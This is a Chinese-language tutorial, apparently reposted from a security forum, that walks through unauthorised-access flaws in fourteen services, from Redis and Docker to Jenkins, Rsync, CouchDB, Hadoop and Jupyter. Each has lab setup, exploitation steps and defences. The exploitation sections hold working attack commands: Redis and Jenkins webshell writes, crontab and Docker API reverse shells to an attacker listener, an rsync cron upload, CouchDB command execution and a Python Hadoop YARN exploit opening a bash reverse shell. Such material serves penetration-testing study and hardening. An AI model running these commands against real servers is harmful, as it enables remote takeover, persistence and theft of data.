本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

  1. 常见的未授权访问漏洞:
  2. Redis 未授权访问漏洞
  3. MongoDB 未授权访问漏洞
  4. Jenkins 未授权访问漏洞
  5. Memcached 未授权访问漏洞
  6. JBOSS 未授权访问漏洞
  7. VNC 未授权访问漏洞
  8. Docker 未授权访问漏洞
  9. ZooKeeper 未授权访问漏洞
  10. Rsync 未授权访问漏洞
  11. Atlassian Crowd 未授权访问漏洞
  12. CouchDB 未授权访问漏洞
  13. Elasticsearch 未授权访问漏洞
  14. Hadoop 未授权访问漏洞
  15. Jupyter Notebook 未授权访问漏洞

Redis 未授权访问漏洞

漏洞简介以及危害

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器、添加计划任务、写入 Webshell 等操作。

漏洞利用

环境介绍
  1. 目标靶机: Centos7
  2. ip地址: 192.168.18.138
  3. 连接工具:Xshell

环境搭建
  1. wget http://download.redis.io/releases/redis-2.8.17.tar.gz

常见未授权访问漏洞总结 - 先知社区 - 图1

  1. tar xzvf redis-2.8.17.tar.gz #解压安装包
  2. cd redis-2.8.17 # 进入redis目录
  3. make #编译

常见未授权访问漏洞总结 - 先知社区 - 图2

  1. cd src/ #进入src目录
  2. cp redis-server /usr/bin/
  3. cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
  4. cd .. # 返回上一级目录
  5. cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
  6. redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

服务启动成功!
常见未授权访问漏洞总结 - 先知社区 - 图3

未授权访问测试

使用 redis clinet 直接无账号成功登录 redis
常见未授权访问漏洞总结 - 先知社区 - 图4

从登录结果可以看出 redis 未启用认证。
常见未授权访问漏洞总结 - 先知社区 - 图5

利用 redis 写 webshell
  1. 利用前提:
  2. 靶机redis未授权,在攻击机能用redis clinet连接,如上图,并未登录验证
  3. 靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限

靶机网站路径:/var/www/html/

这里我们调出 Console

常见未授权访问漏洞总结 - 先知社区 - 图6

由于本地搭建,我们已经知道网站路径,我们把 shell 写入 / var/www/html / 目录下:

  1. config set dir /var/www/html
  2. config set dbfilename test.php
  3. config set webshell "<?php phpinfo(); ?>"
  4. save

常见未授权访问漏洞总结 - 先知社区 - 图7

常见未授权访问漏洞总结 - 先知社区 - 图8

常见未授权访问漏洞总结 - 先知社区 - 图9

常见未授权访问漏洞总结 - 先知社区 - 图10

访问 test.php
常见未授权访问漏洞总结 - 先知社区 - 图11

利用 crontab 反弹 shell

端口监听:
在攻击机上监听一个端口(未被占用的任意端口):

  1. nc -lvnp 5555

常见未授权访问漏洞总结 - 先知社区 - 图12

连接 redis,写入反弹 shell

  1. redis-cli.exe -h 192.168.18.138
  2. config set dir /var/spool/cron
  3. set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
  4. config set dbfilename root
  5. save

常见未授权访问漏洞总结 - 先知社区 - 图13

反弹 shell 成功!
常见未授权访问漏洞总结 - 先知社区 - 图14

nmap 检测
  1. nmap -p 6379 --script redis-info <target>
  2. 地址:https://svn.nmap.org/nmap/scripts/redis-info.nse

常见未授权访问漏洞总结 - 先知社区 - 图15

Redis-RCE

最近出的 Redis-RCE,该漏洞利用前提是获取 redis 访问权限,也就是基于 redis 未授权访问。

防御手段

-禁止使用 root 权限启动 redis 服务。

-对 redis 访问启动密码认证。

-添加 IP 访问限制,并更改默认 6379 端口。

MongoDB 未授权访问漏洞

漏洞简介以及危害

开启 MongoDB 服务时不添加任何参数时, 默认是没有权限验证的, 登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。

造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 —auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。

漏洞利用

环境介绍
  1. 目标靶机: Kali
  2. ip地址: 192.168.18.128
  3. 连接工具:Xshell

环境搭建

这里使用 docker (https://www.runoob.com/docker/docker-tutorial.html 可自行 Google)

  1. docker search mongodb # 从Docker Hub查找镜像

常见未授权访问漏洞总结 - 先知社区 - 图16

  1. docker pull mongo #从镜像仓库中拉取或者更新指定镜像

常见未授权访问漏洞总结 - 先知社区 - 图17

  1. docker images mongo #列出本地主机上的mongo镜像

常见未授权访问漏洞总结 - 先知社区 - 图18

  1. docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令
  2. docker ps -a # 显示所有的容器,包括未运行的

常见未授权访问漏洞总结 - 先知社区 - 图19

常见未授权访问漏洞总结 - 先知社区 - 图20

未授权访问测试

nmap 检测
  1. nmap -p 27017 --script mongodb-info <target>
  2. 地址:http://nmap.org/svn/scripts/mongodb-info.nse

常见未授权访问漏洞总结 - 先知社区 - 图21

防御手段

-为 MongoDB 添加认证:MongoDB 启动时添加 —auth 参数、为 MongoDB 添加用户

-MongoDB 自身带有一个 HTTP 服务和并支持 REST 接口。在 2.6 以后这些接口默认是关闭的。mongoDB 默认会使用默认端口监听 web 服务,一般不需要通过 web 方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false

-启动时加入参数 —bind_ip 127.0.0.1 或在 / etc/mongodb.conf 文件中添加以下内容:bind_ip = 127.0.0.1

Jenkins 未授权访问漏洞

漏洞简介以及危害

默认情况下 Jenkins 面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

漏洞利用

环境介绍
  1. 目标靶机: kali
  2. ip地址: 192.168.18.129
  3. 连接工具:Xshell

环境搭建
  1. wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载

下载地址:http://mirrors.jenkins.io/

  1. dpkg -i jenkins_1.621_all.deb # 安装
  2. sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行

常见未授权访问漏洞总结 - 先知社区 - 图22

  1. 开启Jenkins服务
  2. service jenkinis start

常见未授权访问漏洞总结 - 先知社区 - 图23

  1. 浏览器访问http://192.168.18.129:8080/
  2. 如下图所示说明环境搭建成功

常见未授权访问漏洞总结 - 先知社区 - 图24

未授权访问测试

访问http://192.168.18.129:8080/manage 可以看到没有任何限制可以直接访问
常见未授权访问漏洞总结 - 先知社区 - 图25

Jenkins 未授权访问写 shell

点击 “脚本命令执行”
常见未授权访问漏洞总结 - 先知社区 - 图26

执行系统命令

  1. println "whoami".execute().text

常见未授权访问漏洞总结 - 先知社区 - 图27

网站路径:/var/www/html (需要具备一定的权限)
利用 “脚本命令行” 写 webshell,点击运行没有报错, 写入成功

  1. new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');

常见未授权访问漏洞总结 - 先知社区 - 图28

访问 shell.php
常见未授权访问漏洞总结 - 先知社区 - 图29

更多利用方式可参考:https://www.secpulse.com/archives/2166.html

防御手段

-升级版本。
-添加认证,设置强密码复杂度及账号锁定。

-禁止把 Jenkins 直接暴露在公网。

Memcached 未授权访问漏洞

漏洞简介以及危害

Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的 Memcache 服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached 中的敏感信息。

漏洞利用

环境介绍
  1. 目标靶机: Windows Server 2012
  2. ip地址: 10.0.4.138
  3. 连接工具:Xshell

环境搭建

64 位系统 1.4.4 版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip

  1. 解压压缩包到指定目录
  2. 使用管理员权限运行以下命令:
  3. memcached.exe -d install

常见未授权访问漏洞总结 - 先知社区 - 图30

  1. 启动服务:
  2. memcached.exe -d start

常见未授权访问漏洞总结 - 先知社区 - 图31

  1. 查看进程服务以及端口
  2. netstat -ano | findstr 11211
  3. tasklist | findstr memcached

常见未授权访问漏洞总结 - 先知社区 - 图32

未授权访问测试

为了方便测试这里将防火墙关闭

  1. telnet 10.0.4.138 11211 nc -vv <target> 11211
  2. 无需用户名密码,可以直接连接memcache 服务的11211端口

常见未授权访问漏洞总结 - 先知社区 - 图33

  1. stats #查看memcache服务状态

常见未授权访问漏洞总结 - 先知社区 - 图34

nmap 检测
  1. 地址:https://svn.nmap.org/nmap/scripts/memcached-info.nse
  2. nmap -p 11211 --script memcached-info <target>

防御手段

-设置 Memchached 只允许本地访问。

-禁止外网访问 Memcached 11211 端口。

-配置访问控制策略。

-最小化权限运行。

-修改默认端口等。

JBOSS 未授权访问漏洞

漏洞简介以及危害

JBoss 是一个基于 J2EE 的开放源代码应用服务器,代码遵循 LGPL 许可,可以在任何商业应用中免费使用;JBoss 也是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 规范。, 默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

漏洞利用

环境介绍
  1. 远程木马服务器: Centos
  2. 目标靶机: Kali
  3. ip地址: 192.168.18.129
  4. 连接工具:Xshell

环境搭建

这里使用我修改过的 docker 镜像

  1. docker search testjboss
  2. docker pull testjboss/jboss:latest
  3. docker images
  4. docker run -p 8080:8080 -d 5661a2e31006

常见未授权访问漏洞总结 - 先知社区 - 图35

常见未授权访问漏洞总结 - 先知社区 - 图36

常见未授权访问漏洞总结 - 先知社区 - 图37

未授权访问测试

http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面
常见未授权访问漏洞总结 - 先知社区 - 图38

利用 jboss.deployment 部署 shell

点击 jboss.deployment 进入应用部署页面
常见未授权访问漏洞总结 - 先知社区 - 图39

使用 apache 搭建远程木马服务器
常见未授权访问漏洞总结 - 先知社区 - 图40

访问木马地址 http:///shell.war
常见未授权访问漏洞总结 - 先知社区 - 图41

成功上传木马
常见未授权访问漏洞总结 - 先知社区 - 图42

访问http://192.168.18.129:8080/shell/
常见未授权访问漏洞总结 - 先知社区 - 图43

防御手段

-对 jmx 控制页面访问添加访问验证。

-进行 JMX Console 安全配置。

VNC 未授权访问漏洞

漏洞简介以及危害

VNC 是虚拟网络控制台 Virtual Network Console 的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司 AT&T 的欧洲研究实验室开发。VNC 是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制 target 主机。

漏洞利用

环境介绍
  1. 目标靶机: Windows Server 2003 Standard Edition
  2. ip地址: 192.168.15.8

环境搭建

未授权访问测试
  1. vncviewer 192.168.15.8

常见未授权访问漏洞总结 - 先知社区 - 图44

防御手段

-配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

-以最小普通权限身份运行操作系统。

Docker 未授权访问漏洞

漏洞简介以及危害

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台 Docker。

Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API。存在问题的版本分别为 1.3 和 1.6 因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

漏洞利用

环境介绍
  1. 目标靶机: Kali
  2. ip地址: 192.168.15.5
  3. 连接工具:Xshell

环境搭建
  1. # 下载环境
  2. mkdir docker
  3. cd docker
  4. wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
  5. wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
  6. wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
  7. #或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
  8. DownGit网址:https://minhaskamal.github.io/DownGit/#/home

常见未授权访问漏洞总结 - 先知社区 - 图45

  1. chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
  2. docker-compose build && docker-compose up -d # 编译并启动环境

常见未授权访问漏洞总结 - 先知社区 - 图46

未授权访问测试
  1. docker -H tcp://192.168.15.5:2375 version

常见未授权访问漏洞总结 - 先知社区 - 图47

通过 crontab 反弹宿主机 shell
  1. # vps监听9999端口
  2. nc -lvnp 9999

常见未授权访问漏洞总结 - 先知社区 - 图48

  1. # 启动容器
  2. docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
  3. docker -H tcp://192.168.15.5:2375 ps

常见未授权访问漏洞总结 - 先知社区 - 图49

  1. docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh # 进入容器

常见未授权访问漏洞总结 - 先知社区 - 图50

  1. echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
  2. cat /tmp/root # 查看/tmp/root 文件
  3. exit #退出容器

常见未授权访问漏洞总结 - 先知社区 - 图51

反弹宿主机 shell
常见未授权访问漏洞总结 - 先知社区 - 图52

还有其他比如写入 ssh 公钥等利用方式,方式方法都是大同小异的,这里就不再介绍了。

也可以直接利用 python 脚本

  1. import docker
  2. client = docker.DockerClient(base_url='http://{target_ip}:2375/')
  3. data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

Docker 未授权访问漏洞利用脚本[没试过]

  1. https://github.com/Tycx2ry/docker_api_vul

防御手段

-简单粗暴的方法,对 2375 端口做网络访问控制,如 ACL 控制,或者访问规则。

-修改 docker swarm 的认证方式,使用 TLS 认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS 这两篇文档,说的是配置好 TLS 后,Docker CLI 在发送命令到 docker daemon 之前,会首先发送它的证书,如果证书是由 daemon 信任的 CA 所签名的,才可以继续执行。

ZooKeeper 未授权访问漏洞

漏洞简介以及危害

zookeeper 是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper 的默认开放端口是 2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏(比如:kill 命令)。攻击者能够执行所有只允许由管理员运行的命令。

漏洞利用

环境介绍
  1. 目标靶机:Centos
  2. ip地址:172.16.2.251
  3. 连接工具:Xshell

环境搭建
  1. #搭建环境
  2. wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
  3. tar -xzvf zookeeper-3.4.14.tar.gz
  4. cd zookeeper-3.4.14/conf
  5. mv zoo_sample.cfg zoo.cfg
  6. ../bin/zkServer.sh start # 启动

常见未授权访问漏洞总结 - 先知社区 - 图53

未授权访问测试
  1. #获取该服务器的环境
  2. echo envi|nc 172.16.2.251 2181

防御手段

-修改 ZooKeeper 默认端口,采用其他端口服务。

-添加访问控制,配置服务来源地址限制策略。

-增加 ZooKeeper 的认证配置。

Rsync 未授权访问漏洞

漏洞简介以及危害

Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。

漏洞利用

环境介绍
  1. 目标靶机:Kali
  2. ip地址:172.16.2.250
  3. 连接工具:Xshell

环境搭建
  1. #利用DownGit下载https://github.com/vulhub/vulhub/tree/master/rsync/common
  2. DownGit网址:https://minhaskamal.github.io/DownGit/#/home

常见未授权访问漏洞总结 - 先知社区 - 图54

  1. # 上传文件到靶机并进行解压
  2. unzip common.zip

常见未授权访问漏洞总结 - 先知社区 - 图55

  1. # 编译并启动docker容器
  2. cd common/
  3. docker-compose build && docker-compose up -d

常见未授权访问漏洞总结 - 先知社区 - 图56

未授权访问测试
  1. #rsync rsync://{target_ip}/
  2. rsync rsync://172.16.2.250:873/
  3. rsync rsync://172.16.2.250:873/src

常见未授权访问漏洞总结 - 先知社区 - 图57

利用 rsync 下载任意文件
  1. rsync rsync://172.16.2.250:873/src/etc/passwd ./

常见未授权访问漏洞总结 - 先知社区 - 图58

利用 rsync 反弹 shell
  1. # 下载crontab配置文件
  2. rsync rsync://172.16.2.250:873/src/etc/crontab ./
  3. 该环境crontab
  4. 17 * * * * root cd / && run-parts --report /etc/cron.hourly
  5. 表示每小时的第17分钟执行run-parts --report /etc/cron.hourly

常见未授权访问漏洞总结 - 先知社区 - 图59

  1. # 写入bash并赋权
  2. vim nc
  3. chmod 777

常见未授权访问漏洞总结 - 先知社区 - 图60

  1. # 将文件上传至/etc/cron.hourly
  2. rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly

常见未授权访问漏洞总结 - 先知社区 - 图61

  1. # 本地监听9999
  2. nc -lnvp 9999

常见未授权访问漏洞总结 - 先知社区 - 图62

反弹成功。
常见未授权访问漏洞总结 - 先知社区 - 图63

防御手段

-账户认证:正确配置认证用户名及密码。

-权限控制:使用合理的权限。

-网络访问控制:控制接入源 ip。

-数据加密传输等

Atlassian Crowd 未授权访问漏洞

漏洞简介以及危害

Atlassian Crowd 和 Atlassian Crowd Data Center 都是澳大利亚 Atlassian 公司的产品。Atlassian Crowd 是一套基于 Web 的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center 是 Crowd 的集群部署版。Atlassian Crowd 和 Crowd Data Center 在其某些发行版本中错误地启用了 pdkinstall 开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对 Atlassian Crowd 和 Crowd Data Center 安装任意的恶意插件,执行任意代码 / 命令,从而获得服务器权限。

漏洞利用

环境介绍
  1. 目标靶机:Centos
  2. ip地址:192.168.18.138
  3. 连接工具:Xshell

环境搭建
  1. wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
  2. unzip atlassian-crowd-3.4.3.zip

常见未授权访问漏洞总结 - 先知社区 - 图64

  1. cd atlassian-crowd-3.4.3
  2. vim crowd-webapp/WEB-INF/classes/crowd-init.properties

常见未授权访问漏洞总结 - 先知社区 - 图65

  1. ./start_crowd.sh

常见未授权访问漏洞总结 - 先知社区 - 图66

访问http://192.168.18.138:8095 点击 Set up Crowd
常见未授权访问漏洞总结 - 先知社区 - 图67

可以在这里申请试用 30 天https://my.atlassian.com/products/index 并填写 license
进行下一步安装,直到安装完成。
常见未授权访问漏洞总结 - 先知社区 - 图68

未授权访问测试

进行上传一个标准的插件,来自 atlassian-bundled-plugins 中的 applinks-plugin-5.4.12.jar

  1. curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v

成功上传
常见未授权访问漏洞总结 - 先知社区 - 图69

Atlassian Crowd RCE

漏洞利用脚本 github 地址:https://github.com/jas502n/CVE-2019-11580

  1. git clone https://github.com/jas502n/CVE-2019-11580
  2. cd CVE-2019-11580/
  3. python CVE-2019-11580.py http://192.168.18.138:8095
  4. curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

常见未授权访问漏洞总结 - 先知社区 - 图70

防御手段

-设置访问 / crowd/admin/uploadplugin.action 的源 ip。

-升级最新版本 (3.5.0 以上)。

CouchDB 未授权访问漏洞

漏洞简介以及危害

Apache CouchDB 是一个开源数据库,专注于易用性和成为 “完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序), 默认会在 5984 端口开放 Restful 的 API 接口,如果使用 SSL 的话就会监听在 6984 端口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在 0.0.0.0,所有用户均可通过 API 访问导致未授权访问。

在官方配置文档中对 HTTP Server 的配置有 WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

漏洞利用

环境介绍
  1. 目标靶机:Kali
  2. ip地址:192.168.18.129
  3. 连接工具:Xshell

环境搭建
  1. mkdir couchdb
  2. wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml

常见未授权访问漏洞总结 - 先知社区 - 图71

  1. docker-compose up -d

常见未授权访问漏洞总结 - 先知社区 - 图72

未授权访问测试
  1. curl http://192.168.18.129:5984
  2. curl http://192.168.18.129:5984/_config

常见未授权访问漏洞总结 - 先知社区 - 图73

常见未授权访问漏洞总结 - 先知社区 - 图74

任意命令执行

本机 python 运行 http 服务

  1. python -m SimpleHTTPServer 9999

常见未授权访问漏洞总结 - 先知社区 - 图75

  1. #依次执行如下命令
  2. curl -X PUT 'http://192.168.18.129:5984/_config/query_servers/cmd' -d '"curl http://192.168.18.138:9999/test.php"'
  3. curl -X PUT 'http://192.168.18.129:5984/vultest'
  4. curl -X PUT 'http://192.168.18.129:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
  5. curl -X POST 'http://192.168.18.129:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

常见未授权访问漏洞总结 - 先知社区 - 图76

成功执行
常见未授权访问漏洞总结 - 先知社区 - 图77

nmap 扫描
  1. nmap -p 5984 --script "couchdb-stats.nse" {target_ip}

防御手段

Elasticsearch 未授权访问漏洞

漏洞简介以及危害

ElasticSearch 是一个基于 Lucene 的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于 RESTful web 接口。Elasticsearch 是用 Java 开发的,并作为 Apache 许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch 的增删改查操作全部由 http 接口完成。由于 Elasticsearch 授权模块需要付费,所以免费开源的 Elasticsearch 可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有 Elasticsearch 的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
  Elasticsearch 服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放 9200 或 9300 的服务器进行恶意攻击。

漏洞利用

环境介绍
  1. 目标靶机:Centos
  2. ip地址:192.168.18.138
  3. 连接工具:Xshell

环境搭建
  1. # elasticsearch需要JDK1.8+
  2. # 创建elasticsearch用户,elasticsearch不能root执行
  3. useradd elasticsearch
  4. passwd elasticsearch
  5. su elasticsearch
  6. #下载环境
  7. wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip

常见未授权访问漏洞总结 - 先知社区 - 图78

  1. # 解压并启动
  2. unzip elasticsearch-5.5.0.zip
  3. cd elasticsearch-5.5.0/bin
  4. ./elasticsearch

常见未授权访问漏洞总结 - 先知社区 - 图79

成功安装
常见未授权访问漏洞总结 - 先知社区 - 图80

未授权访问测试
  1. curl http://localhost:9200/_nodes #查看节点数据
  2. 更多利用可以自行搜索一下

常见未授权访问漏洞总结 - 先知社区 - 图81

防御手段

-访问控制策略,限制 IP 访问,绑定固定 IP。

-在 config/elasticsearch.yml 中为 9200 端口设置认证等。

Hadoop 未授权访问漏洞

漏洞简介以及危害

Hadoop 是一个由 Apache 基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

漏洞利用

环境介绍
  1. 目标靶机:Kali
  2. ip地址:192.168.18.129
  3. 连接工具:Xshell

环境搭建
  1. mkdir hadoop
  2. cd hadoop/
  3. wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml
  4. wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/exploit.py
  5. #或者利用DownGit下载https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
  6. DownGit网址:https://minhaskamal.github.io/DownGit/#/home

常见未授权访问漏洞总结 - 先知社区 - 图82

  1. docker-compose build && docker-compose up -d #编译并启动环境

常见未授权访问漏洞总结 - 先知社区 - 图83

未授权访问测试

访问 http://192.168.18.129:8088/cluster
常见未授权访问漏洞总结 - 先知社区 - 图84

通过 REST API 命令执行

利用过程:

在本地监听端口 >> 创建 Application >> 调用 Submit Application API 提交

本地监听 9999 端口
常见未授权访问漏洞总结 - 先知社区 - 图85

EXP:

  1. #!/usr/bin/env python
  2. import requests
  3. target = 'http://192.168.18.129:8088/'
  4. lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
  5. url = target + 'ws/v1/cluster/apps/new-application'
  6. resp = requests.post(url)
  7. app_id = resp.json()['application-id']
  8. url = target + 'ws/v1/cluster/apps'
  9. data = {
  10. 'application-id': app_id,
  11. 'application-name': 'get-shell',
  12. 'am-container-spec': {
  13. 'commands': {
  14. 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
  15. },
  16. },
  17. 'application-type': 'YARN',
  18. }
  19. requests.post(url, json=data)

常见未授权访问漏洞总结 - 先知社区 - 图86

反弹成功
常见未授权访问漏洞总结 - 先知社区 - 图87

防御手段

-如无必要,关闭 Hadoop Web 管理页面。

-开启身份验证,防止未经授权用户访问。

-设置 “安全组” 访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。

Jupyter Notebook 未授权访问漏洞

漏洞简介以及危害

Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为 Jupyter Notebook 配置密码,将导致未授权访问漏洞,游客可在其中创建一个 console 并执行任意 Python 代码和命令。

漏洞利用

环境介绍
  1. 目标靶机:Kali
  2. ip地址:192.168.18.129
  3. 连接工具:Xshell

环境搭建
  1. wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml
  2. docker-compose up -d

常见未授权访问漏洞总结 - 先知社区 - 图88

常见未授权访问漏洞总结 - 先知社区 - 图89

未授权访问测试

访问 http://192.168.18.129:8888
常见未授权访问漏洞总结 - 先知社区 - 图90

利用 terminal 命令执行

New > Terminal 创建控制台
常见未授权访问漏洞总结 - 先知社区 - 图91

可以执行任意命令
常见未授权访问漏洞总结 - 先知社区 - 图92

防御手段

-开启身份验证,防止未经授权用户访问。

-访问控制策略,限制 IP 访问,绑定固定 IP。

鸣谢

感谢网络中的分享者(师傅们),在我整理知识的时候给了我很大的一个帮助。
https://xz.aliyun.com/t/6103#toc-6